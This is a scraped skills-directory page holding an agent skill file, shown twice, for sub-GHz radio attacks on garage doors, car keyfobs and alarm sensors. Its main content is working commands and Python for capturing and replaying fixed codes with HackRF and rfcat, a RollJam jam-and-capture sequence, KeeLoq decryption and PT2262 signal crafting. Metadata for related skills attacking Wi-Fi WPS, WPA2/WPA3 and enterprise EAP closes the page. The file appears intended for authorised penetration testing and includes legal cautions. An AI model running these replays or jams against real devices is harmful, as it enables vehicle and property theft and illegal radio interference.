[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFZC4KTF1P0YR3FH57RGHE":3,"skill-same:01M7DFZC4KTF1P0YR3FH57RGHE":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFZC4KTF1P0YR3FH57RGHE","sub-ghz",null,"Sub-GHz RF capture and replay for 433\u002F868\u002F915 MHz ISM-band targets (garage doors, car keys, alarm sensors, weather stations). Covers fixed-code replay with HackRF\u002FFlipper Zero\u002FRTL-SDR, rolling-code analysis with rfcat, signal visualization with inspectrum and Universal Radio Hacker, and encoding\u002Fmodulation identification.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Fsub-ghz\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: sub-ghz\ndescription: Sub-GHz RF capture and replay for 433\u002F868\u002F915 MHz ISM-band targets (garage doors, car keys, alarm sensors, weather stations). Covers fixed-code replay with HackRF\u002FFlipper Zero\u002FRTL-SDR, rolling-code analysis with rfcat, signal visualization with inspectrum and Universal Radio Hacker, and encoding\u002Fmodulation identification.\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: iot\n  when_to_use: sub-GHz, 433 MHz, 868 MHz, 915 MHz, HackRF, Flipper Zero, RTL-SDR, rfcat, inspectrum, Universal Radio Hacker, URH, replay, rolling code, fixed code, garage door, keyfob, OOK, ASK, FSK, ISM band, rfcat, YARD Stick One\n  tags: sub-ghz, 433mhz, replay, hackrf, flipper, rtlsdr, rfcat, iot, rf\n  mitre_attack: T1040, T1557, T1190\n---\n\n# Sub-GHz ISM Band Capture and Replay\n\n> The 433\u002F868\u002F915 MHz ISM bands host a vast range of devices: garage door\n> openers, car remote entry, alarm sensors, smart meters, weather stations,\n> baby monitors, and industrial telemetry. Most use OOK or FSK modulation\n> with no authentication. Fixed-code devices are trivially replayed. Rolling-\n> code devices (KeeLoq, HiTag2) require additional analysis but have\n> documented weaknesses.\n\n## Prerequisites\n\n- **Hardware (any one or more)**:\n  - HackRF One (1 MHz–6 GHz, TX+RX, 20 Msps) — most versatile.\n  - Flipper Zero (sub-GHz module, 300–928 MHz) — fastest field replay.\n  - RTL-SDR Blog v4 (receive only, 24 MHz–1766 MHz) — cheapest capture.\n  - YARD Stick One (rfcat, 300–928 MHz, CC1111 based, TX+RX) — scriptable.\n  - Proxmark3 (car key HiTag2 analysis, NFC — separate workload).\n\n- **Software**: `rfcat`, `inspectrum`, Universal Radio Hacker (URH), `rtl_433`,\n  GNU Radio, `hackrf_transfer`, `SigDigger`, `rpitx` (Raspberry Pi TX alternative).\n\n```bash\n# Install rfcat (YARD Stick One \u002F CC1111 based tools):\npip install rfcat\n\n# Install rtl_433 (auto-decodes hundreds of 433 MHz devices):\napt install rtl-433  # or build from https:\u002F\u002Fgithub.com\u002Fmerbanan\u002Frtl_433\n\n# Universal Radio Hacker:\npip install urh\n\n# inspectrum (IQ file visualization):\napt install inspectrum\n```\n\n## Frequency and Modulation Quick Reference\n\n| Frequency | Region \u002F Use | Common modulation |\n|---|---|---|\n| 433.92 MHz | EU\u002FAS garage, keyfobs, sensors | OOK-PWM, OOK-Manchester |\n| 315 MHz | US garage doors, legacy keyfobs | OOK-PWM |\n| 868.35 MHz | EU alarms, smart meters, LoRa overlap | FSK, OOK |\n| 915 MHz | US ISM (LoRa, sensors, meters) | FSK, OOK |\n| 303 MHz | US TPMS, some car remotes | OOK |\n| 868.95 MHz | KNX, some home automation | FSK |\n\n## Phase 1: Passive Capture and Signal Identification\n\n### RTL-SDR (receive only)\n\n```bash\n# Wideband spectrum survey — see what's broadcasting in the ISM band:\nrtl_sdr -f 433920000 -s 2400000 -g 40 \u002Ftmp\u002F433_survey.iq\n\n# Auto-decode known 433 MHz devices (weather stations, door sensors, etc.):\nrtl_433 -f 433920000 -s 250k -g 40 -F json | tee \u002Ftmp\u002Frtl433_decode.json\n\n# For continuous monitoring and logging:\nrtl_433 -f 433.92M -s 250k -R 0 -F json -M utc | tee -a \u002Ftmp\u002Frtl433_live.json\n```\n\n### HackRF capture\n\n```bash\n# Capture 10 seconds of IQ at 433.92 MHz:\nhackrf_transfer -r \u002Ftmp\u002F433_capture.iq -f 433920000 -s 2000000 -l 32 -g 40 -n 20000000\n\n# For 868 MHz EU targets:\nhackrf_transfer -r \u002Ftmp\u002F868_capture.iq -f 868350000 -s 2000000 -l 32 -g 40 -n 20000000\n```\n\n### Flipper Zero (fastest field method)\n\nOn Flipper Zero:\n- **Sub-GHz → Frequency Analyzer**: identifies active frequencies.\n- **Sub-GHz → Read**: captures and stores a signal to flash.\n- **Sub-GHz → Read Raw**: stores raw IQ for later analysis.\n\n```bash\n# Via Flipper CLI (qFlipper \u002F USB serial):\n# Export captured signals:\nflipper_tx read \u002Fext\u002Fsubghz\u002Fcaptures\u002Fsignal_001.sub\n```\n\n## Phase 2: Signal Analysis with inspectrum and URH\n\n```bash\n# Visualize IQ capture in inspectrum (shows spectrogram + symbol clock):\ninspectrum \u002Ftmp\u002F433_capture.iq -r 2000000\n\n# Open in URH for automatic modulation detection and bit decoding:\nurh \u002Ftmp\u002F433_capture.iq\n# URH auto-detection: Signal → Autodetect parameters → shows encoding\n# (OOK, FSK, PSK), bit rate, and decoded bits.\n```\n\nKey parameters to identify:\n- **Modulation**: OOK (On-Off Keying) = on\u002Foff pattern; FSK = two frequencies.\n- **Bit rate**: measure pulse width in inspectrum (typical: 1000–4000 bps for OOK remotes).\n- **Encoding**: PWM (pulse-width), Manchester, NRZ, biphase.\n- **Preamble**: usually alternating 01010101 or a long carrier burst.\n\n## Phase 3: Fixed-Code Replay\n\n### With HackRF\n\n```bash\n# Replay a captured signal exactly as recorded:\nhackrf_transfer -t \u002Ftmp\u002F433_capture.iq -f 433920000 -s 2000000 -x 47 -R  # -R = repeat\n\n# Trim the IQ file to a single clean burst before replaying:\npython3 - \u003C\u003C'EOF'\nimport numpy as np\n\niq = np.fromfile(\"\u002Ftmp\u002F433_capture.iq\", dtype=np.int8)\n# Find signal burst (amplitude threshold):\namplitude = np.abs(iq[0::2].astype(float) + 1j * iq[1::2].astype(float))\nthreshold = amplitude.max() * 0.3\nstart = np.argmax(amplitude > threshold) - 100\nend   = len(amplitude) - np.argmax(amplitude[::-1] > threshold) + 100\nburst = iq[start*2:end*2]\nburst.tofile(\"\u002Ftmp\u002F433_burst_trimmed.iq\")\nprint(f\"Burst: {start}–{end} samples ({(end-start)\u002F2e6*1000:.1f} ms)\")\nEOF\n\nhackrf_transfer -t \u002Ftmp\u002F433_burst_trimmed.iq -f 433920000 -s 2000000 -x 47\n```\n\n### With YARD Stick One \u002F rfcat\n\n```python\nimport rflib, time\n\nd = rflib.RfCat()\nd.setFreq(433920000)       # 433.92 MHz\nd.setMdmModulation(rflib.MOD_ASK_OOK)\nd.setMdmDRate(1000)        # 1000 bps — adjust to target\nd.setMdmSyncMode(0)        # no sync word\nd.setPktPktLen(50)         # raw mode\n\n# Transmit a manually crafted OOK bitstream (hex encoded):\n# Garage door fixed code example (Princeton PT2262 style):\n# Preamble + 24-bit code:\npayload = bytes.fromhex(\"AAAAAAAAFAF0F0F0FAFAFAFAF0F0FAFAFAFAFAF0F0F0FA00\")\nd.RFxmit(data=payload, repeat=5)\nprint(\"[+] Transmitted fixed code.\")\n```\n\n### With Flipper Zero\n\nAfter capturing with **Sub-GHz → Read**:\n- Navigate to the saved file.\n- Select **Send** → transmits the captured signal.\n\n## Phase 4: Rolling Code Analysis (KeeLoq \u002F HiTag2)\n\nMost modern car fobs and garage doors use rolling codes. The rolling-code\ncounter increments on each press; replaying an old code fails (the receiver\ntracks the last used counter).\n\n**Attack vectors**:\n\n1. **RollJam** (Samy Kamkar, 2015): jam the legitimate signal + capture it,\n   then jam again + capture, then release first captured code while holding\n   the second. The receiver sees code N (accepts), and code N+1 is held by\n   attacker.\n\n```bash\n# RollJam requires simultaneous jam + capture on a single SDR with TX capability.\n# HackRF: transmit noise on 433.92 MHz to jam while recording with a second receiver.\n\n# Jammer (HackRF):\nhackrf_transfer -t \u002Fdev\u002Furandom -f 433920000 -s 2000000 -x 40 &\nJAMMER_PID=$!\n\n# Capture on RTL-SDR simultaneously:\nrtl_sdr -f 433920000 -s 2000000 -g 40 \u002Ftmp\u002Fcapture_while_jamming.iq &\nsleep 5\n\n# Stop jammer; victim retransmits; capture second code:\nkill $JAMMER_PID\n```\n\n2. **KeeLoq brute-force**: if the manufacturer key is known (leaked or default),\n   derive the per-device key from the serial number and predict future codes.\n\n```bash\n# keeloq-tools:\ngit clone https:\u002F\u002Fgithub.com\u002Fulissesdias\u002Fkeeloq_tools\npython3 keeloq_tools\u002Fkeeloq_decrypt.py \\\n    --manufacturer-key AABBCCDDEEFF0011 \\\n    --serial 12345678 \\\n    --ciphertext DEADBEEF\n```\n\n3. **Long-range replay window**: some receivers accept codes within a large\n   resync window (up to 256 codes ahead). If you captured a code before the\n   owner used it, replay within window.\n\n## Phase 5: OOK Signal Crafting for Specific Protocols\n\n### Chamberlain \u002F LiftMaster (Security+ 2.0 — fixed encoder PT2262)\n\n```python\n# PT2262 encoder: tristate (0\u002F1\u002Ffloat), 24 bits, OOK-PWM.\n# Bit timings: '0' = short pulse + long gap, '1' = long pulse + short gap, 'F' = medium+medium\nBIT_RATE = 1000  # Hz\nSHORT = int(2e6 \u002F BIT_RATE \u002F 3)  # samples\nLONG  = SHORT * 3\n\ndef encode_pt2262(tristate_code: str, sample_rate=2_000_000) -> bytes:\n    \"\"\"Encode a PT2262 tristate code to OOK IQ (int8).\"\"\"\n    iq = []\n    for bit in tristate_code:\n        if bit == '0':\n            iq += [127] * SHORT + [0] * LONG\n        elif bit == '1':\n            iq += [127] * LONG + [0] * SHORT\n        elif bit == 'F':\n            iq += [127] * SHORT + [0] * SHORT\n    # Add stop bit and silence:\n    iq += [127] * SHORT + [0] * (LONG * 31)\n    return bytes(iq)\n```\n\n## Evidence\n\n```bash\nEVIDENCE=\"\u002Fworkspace\u002Fevidence\u002Fsub-ghz\u002F$(date +%Y%m%d_%H%M%S)\"\nmkdir -p \"$EVIDENCE\"\ncp \u002Ftmp\u002F433_capture.iq \"$EVIDENCE\u002F\"\ncp \u002Ftmp\u002Frtl433_decode.json \"$EVIDENCE\u002F\"\nsha256sum \"$EVIDENCE\"\u002F* >> \"$EVIDENCE\u002Fsha256.txt\"\n```\n\n```python\nkg_record(\n    '[{\"kind\": \"Finding\",'\n    '  \"key\": f\"sub-ghz::{target_freq_mhz}::{target_id}\",'\n    '  \"label\": f\"Sub-GHz fixed-code replay success at {target_freq_mhz} MHz\",'\n    '  \"props\": {\"frequency_mhz\": target_freq_mhz,'\n    '            \"modulation\": \"OOK-PWM\",'\n    '            \"code_type\": \"fixed\",  # or \"rolling\"'\n    '            \"replay_success\": True,'\n    '            \"hardware\": \"HackRF One\",'\n    '            \"source\": \"hackrf+rtl433\"}}]'\n)\n```\n\n## OPSEC Notes\n\n- RTL-SDR is purely passive — no transmission, zero legal risk during recon.\n- Any transmission (HackRF, YARD Stick One, Flipper Zero transmit) is\n  legally restricted in most jurisdictions to frequencies you are licensed\n  for or that fall within unlicensed power limits. 433.92 MHz at ≤10 mW\n  is license-free in EU; 915 MHz similarly in US (FCC Part 15).\n- High-power replay (hackrf_transfer -x 47 is ~0 dBm output after antenna) is\n  within Part 15 limits but confirm with RoE.\n- RollJam requires intentional interference with a legitimate transmission —\n  constitutes jamming and requires explicit legal authorization in all\n  jurisdictions.\n- Flipper Zero's sub-GHz module is transmit-capable but firmware restricts\n  frequencies outside regional ISM band — verify firmware version.\n- Car key replay is covered by CFAA \u002F Computer Fraud and Abuse Act (US) and\n  equivalent; only test on vehicles you own or have explicit written consent for.\n\n## References\n\n- Universal Radio Hacker: https:\u002F\u002Fgithub.com\u002Fjopohl\u002Furh\n- rtl_433: https:\u002F\u002Fgithub.com\u002Fmerbanan\u002Frtl_433\n- rfcat: https:\u002F\u002Fgithub.com\u002Fatlas0fd00m\u002Frfcat\n- inspectrum: https:\u002F\u002Fgithub.com\u002Fmiek\u002Finspectrum\n- RollJam: Samy Kamkar DEF CON 23 (2015).\n- keeloq_tools: https:\u002F\u002Fgithub.com\u002Fulissesdias\u002Fkeeloq_tools\n- Flipper Zero sub-GHz documentation: https:\u002F\u002Fdocs.flipper.net\u002Fsub-ghz\n","# Sub-GHz ISM Band Capture and Replay\n\n> The 433\u002F868\u002F915 MHz ISM bands host a vast range of devices: garage door\n> openers, car remote entry, alarm sensors, smart meters, weather stations,\n> baby monitors, and industrial telemetry. Most use OOK or FSK modulation\n> with no authentication. Fixed-code devices are trivially replayed. Rolling-\n> code devices (KeeLoq, HiTag2) require additional analysis but have\n> documented weaknesses.\n\n## Prerequisites\n\n- **Hardware (any one or more)**:\n  - HackRF One (1 MHz–6 GHz, TX+RX, 20 Msps) — most versatile.\n  - Flipper Zero (sub-GHz module, 300–928 MHz) — fastest field replay.\n  - RTL-SDR Blog v4 (receive only, 24 MHz–1766 MHz) — cheapest capture.\n  - YARD Stick One (rfcat, 300–928 MHz, CC1111 based, TX+RX) — scriptable.\n  - Proxmark3 (car key HiTag2 analysis, NFC — separate workload).\n\n- **Software**: `rfcat`, `inspectrum`, Universal Radio Hacker (URH), `rtl_433`,\n  GNU Radio, `hackrf_transfer`, `SigDigger`, `rpitx` (Raspberry Pi TX alternative).\n\n```bash\n# Install rfcat (YARD Stick One \u002F CC1111 based tools):\npip install rfcat\n\n# Install rtl_433 (auto-decodes hundreds of 433 MHz devices):\napt install rtl-433  # or build from https:\u002F\u002Fgithub.com\u002Fmerbanan\u002Frtl_433\n\n# Universal Radio Hacker:\npip install urh\n\n# inspectrum (IQ file visualization):\napt install inspectrum\n```\n\n## Frequency and Modulation Quick Reference\n\n| Frequency | Region \u002F Use | Common modulation |\n|---|---|---|\n| 433.92 MHz | EU\u002FAS garage, keyfobs, sensors | OOK-PWM, OOK-Manchester |\n| 315 MHz | US garage doors, legacy keyfobs | OOK-PWM |\n| 868.35 MHz | EU alarms, smart meters, LoRa overlap | FSK, OOK |\n| 915 MHz | US ISM (LoRa, sensors, meters) | FSK, OOK |\n| 303 MHz | US TPMS, some car remotes | OOK |\n| 868.95 MHz | KNX, some home automation | FSK |\n\n## Phase 1: Passive Capture and Signal Identification\n\n### RTL-SDR (receive only)\n\n```bash\n# Wideband spectrum survey — see what's broadcasting in the ISM band:\nrtl_sdr -f 433920000 -s 2400000 -g 40 \u002Ftmp\u002F433_survey.iq\n\n# Auto-decode known 433 MHz devices (weather stations, door sensors, etc.):\nrtl_433 -f 433920000 -s 250k -g 40 -F json | tee \u002Ftmp\u002Frtl433_decode.json\n\n# For continuous monitoring and logging:\nrtl_433 -f 433.92M -s 250k -R 0 -F json -M utc | tee -a \u002Ftmp\u002Frtl433_live.json\n```\n\n### HackRF capture\n\n```bash\n# Capture 10 seconds of IQ at 433.92 MHz:\nhackrf_transfer -r \u002Ftmp\u002F433_capture.iq -f 433920000 -s 2000000 -l 32 -g 40 -n 20000000\n\n# For 868 MHz EU targets:\nhackrf_transfer -r \u002Ftmp\u002F868_capture.iq -f 868350000 -s 2000000 -l 32 -g 40 -n 20000000\n```\n\n### Flipper Zero (fastest field method)\n\nOn Flipper Zero:\n- **Sub-GHz → Frequency Analyzer**: identifies active frequencies.\n- **Sub-GHz → Read**: captures and stores a signal to flash.\n- **Sub-GHz → Read Raw**: stores raw IQ for later analysis.\n\n```bash\n# Via Flipper CLI (qFlipper \u002F USB serial):\n# Export captured signals:\nflipper_tx read \u002Fext\u002Fsubghz\u002Fcaptures\u002Fsignal_001.sub\n```\n\n## Phase 2: Signal Analysis with inspectrum and URH\n\n```bash\n# Visualize IQ capture in inspectrum (shows spectrogram + symbol clock):\ninspectrum \u002Ftmp\u002F433_capture.iq -r 2000000\n\n# Open in URH for automatic modulation detection and bit decoding:\nurh \u002Ftmp\u002F433_capture.iq\n# URH auto-detection: Signal → Autodetect parameters → shows encoding\n# (OOK, FSK, PSK), bit rate, and decoded bits.\n```\n\nKey parameters to identify:\n- **Modulation**: OOK (On-Off Keying) = on\u002Foff pattern; FSK = two frequencies.\n- **Bit rate**: measure pulse width in inspectrum (typical: 1000–4000 bps for OOK remotes).\n- **Encoding**: PWM (pulse-width), Manchester, NRZ, biphase.\n- **Preamble**: usually alternating 01010101 or a long carrier burst.\n\n## Phase 3: Fixed-Code Replay\n\n### With HackRF\n\n```bash\n# Replay a captured signal exactly as recorded:\nhackrf_transfer -t \u002Ftmp\u002F433_capture.iq -f 433920000 -s 2000000 -x 47 -R  # -R = repeat\n\n# Trim the IQ file to a single clean burst before replaying:\npython3 - \u003C\u003C'EOF'\nimport numpy as np\n\niq = np.fromfile(\"\u002Ftmp\u002F433_capture.iq\", dtype=np.int8)\n# Find signal burst (amplitude threshold):\namplitude = np.abs(iq[0::2].astype(float) + 1j * iq[1::2].astype(float))\nthreshold = amplitude.max() * 0.3\nstart = np.argmax(amplitude > threshold) - 100\nend   = len(amplitude) - np.argmax(amplitude[::-1] > threshold) + 100\nburst = iq[start*2:end*2]\nburst.tofile(\"\u002Ftmp\u002F433_burst_trimmed.iq\")\nprint(f\"Burst: {start}–{end} samples ({(end-start)\u002F2e6*1000:.1f} ms)\")\nEOF\n\nhackrf_transfer -t \u002Ftmp\u002F433_burst_trimmed.iq -f 433920000 -s 2000000 -x 47\n```\n\n### With YARD Stick One \u002F rfcat\n\n```python\nimport rflib, time\n\nd = rflib.RfCat()\nd.setFreq(433920000)       # 433.92 MHz\nd.setMdmModulation(rflib.MOD_ASK_OOK)\nd.setMdmDRate(1000)        # 1000 bps — adjust to target\nd.setMdmSyncMode(0)        # no sync word\nd.setPktPktLen(50)         # raw mode\n\n# Transmit a manually crafted OOK bitstream (hex encoded):\n# Garage door fixed code example (Princeton PT2262 style):\n# Preamble + 24-bit code:\npayload = bytes.fromhex(\"AAAAAAAAFAF0F0F0FAFAFAFAF0F0FAFAFAFAFAF0F0F0FA00\")\nd.RFxmit(data=payload, repeat=5)\nprint(\"[+] Transmitted fixed code.\")\n```\n\n### With Flipper Zero\n\nAfter capturing with **Sub-GHz → Read**:\n- Navigate to the saved file.\n- Select **Send** → transmits the captured signal.\n\n## Phase 4: Rolling Code Analysis (KeeLoq \u002F HiTag2)\n\nMost modern car fobs and garage doors use rolling codes. The rolling-code\ncounter increments on each press; replaying an old code fails (the receiver\ntracks the last used counter).\n\n**Attack vectors**:\n\n1. **RollJam** (Samy Kamkar, 2015): jam the legitimate signal + capture it,\n   then jam again + capture, then release first captured code while holding\n   the second. The receiver sees code N (accepts), and code N+1 is held by\n   attacker.\n\n```bash\n# RollJam requires simultaneous jam + capture on a single SDR with TX capability.\n# HackRF: transmit noise on 433.92 MHz to jam while recording with a second receiver.\n\n# Jammer (HackRF):\nhackrf_transfer -t \u002Fdev\u002Furandom -f 433920000 -s 2000000 -x 40 &\nJAMMER_PID=$!\n\n# Capture on RTL-SDR simultaneously:\nrtl_sdr -f 433920000 -s 2000000 -g 40 \u002Ftmp\u002Fcapture_while_jamming.iq &\nsleep 5\n\n# Stop jammer; victim retransmits; capture second code:\nkill $JAMMER_PID\n```\n\n2. **KeeLoq brute-force**: if the manufacturer key is known (leaked or default),\n   derive the per-device key from the serial number and predict future codes.\n\n```bash\n# keeloq-tools:\ngit clone https:\u002F\u002Fgithub.com\u002Fulissesdias\u002Fkeeloq_tools\npython3 keeloq_tools\u002Fkeeloq_decrypt.py \\\n    --manufacturer-key AABBCCDDEEFF0011 \\\n    --serial 12345678 \\\n    --ciphertext DEADBEEF\n```\n\n3. **Long-range replay window**: some receivers accept codes within a large\n   resync window (up to 256 codes ahead). If you captured a code before the\n   owner used it, replay within window.\n\n## Phase 5: OOK Signal Crafting for Specific Protocols\n\n### Chamberlain \u002F LiftMaster (Security+ 2.0 — fixed encoder PT2262)\n\n```python\n# PT2262 encoder: tristate (0\u002F1\u002Ffloat), 24 bits, OOK-PWM.\n# Bit timings: '0' = short pulse + long gap, '1' = long pulse + short gap, 'F' = medium+medium\nBIT_RATE = 1000  # Hz\nSHORT = int(2e6 \u002F BIT_RATE \u002F 3)  # samples\nLONG  = SHORT * 3\n\ndef encode_pt2262(tristate_code: str, sample_rate=2_000_000) -> bytes:\n    \"\"\"Encode a PT2262 tristate code to OOK IQ (int8).\"\"\"\n    iq = []\n    for bit in tristate_code:\n        if bit == '0':\n            iq += [127] * SHORT + [0] * LONG\n        elif bit == '1':\n            iq += [127] * LONG + [0] * SHORT\n        elif bit == 'F':\n            iq += [127] * SHORT + [0] * SHORT\n    # Add stop bit and silence:\n    iq += [127] * SHORT + [0] * (LONG * 31)\n    return bytes(iq)\n```\n\n## Evidence\n\n```bash\nEVIDENCE=\"\u002Fworkspace\u002Fevidence\u002Fsub-ghz\u002F$(date +%Y%m%d_%H%M%S)\"\nmkdir -p \"$EVIDENCE\"\ncp \u002Ftmp\u002F433_capture.iq \"$EVIDENCE\u002F\"\ncp \u002Ftmp\u002Frtl433_decode.json \"$EVIDENCE\u002F\"\nsha256sum \"$EVIDENCE\"\u002F* >> \"$EVIDENCE\u002Fsha256.txt\"\n```\n\n```python\nkg_record(\n    '[{\"kind\": \"Finding\",'\n    '  \"key\": f\"sub-ghz::{target_freq_mhz}::{target_id}\",'\n    '  \"label\": f\"Sub-GHz fixed-code replay success at {target_freq_mhz} MHz\",'\n    '  \"props\": {\"frequency_mhz\": target_freq_mhz,'\n    '            \"modulation\": \"OOK-PWM\",'\n    '            \"code_type\": \"fixed\",  # or \"rolling\"'\n    '            \"replay_success\": True,'\n    '            \"hardware\": \"HackRF One\",'\n    '            \"source\": \"hackrf+rtl433\"}}]'\n)\n```\n\n## OPSEC Notes\n\n- RTL-SDR is purely passive — no transmission, zero legal risk during recon.\n- Any transmission (HackRF, YARD Stick One, Flipper Zero transmit) is\n  legally restricted in most jurisdictions to frequencies you are licensed\n  for or that fall within unlicensed power limits. 433.92 MHz at ≤10 mW\n  is license-free in EU; 915 MHz similarly in US (FCC Part 15).\n- High-power replay (hackrf_transfer -x 47 is ~0 dBm output after antenna) is\n  within Part 15 limits but confirm with RoE.\n- RollJam requires intentional interference with a legitimate transmission —\n  constitutes jamming and requires explicit legal authorization in all\n  jurisdictions.\n- Flipper Zero's sub-GHz module is transmit-capable but firmware restricts\n  frequencies outside regional ISM band — verify firmware version.\n- Car key replay is covered by CFAA \u002F Computer Fraud and Abuse Act (US) and\n  equivalent; only test on vehicles you own or have explicit written consent for.\n\n## References\n\n- Universal Radio Hacker: https:\u002F\u002Fgithub.com\u002Fjopohl\u002Furh\n- rtl_433: https:\u002F\u002Fgithub.com\u002Fmerbanan\u002Frtl_433\n- rfcat: https:\u002F\u002Fgithub.com\u002Fatlas0fd00m\u002Frfcat\n- inspectrum: https:\u002F\u002Fgithub.com\u002Fmiek\u002Finspectrum\n- RollJam: Samy Kamkar DEF CON 23 (2015).\n- keeloq_tools: https:\u002F\u002Fgithub.com\u002Fulissesdias\u002Fkeeloq_tools\n- Flipper Zero sub-GHz documentation: https:\u002F\u002Fdocs.flipper.net\u002Fsub-ghz\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"sub-ghz, 433mhz, replay, hackrf, flipper, rtlsdr, rfcat, iot, rf","iot","sub-GHz, 433 MHz, 868 MHz, 915 MHz, HackRF, Flipper Zero, RTL-SDR, rfcat, inspectrum, Universal Radio Hacker, URH, replay, rolling code, fixed code, garage door, keyfob, OOK, ASK, FSK, ISM band, rfcat, YARD Stick One","T1040, T1557, T1190","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Fsub-ghz","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill sub-ghz",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill sub-ghz",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill sub-ghz","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Fsub-ghz\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch 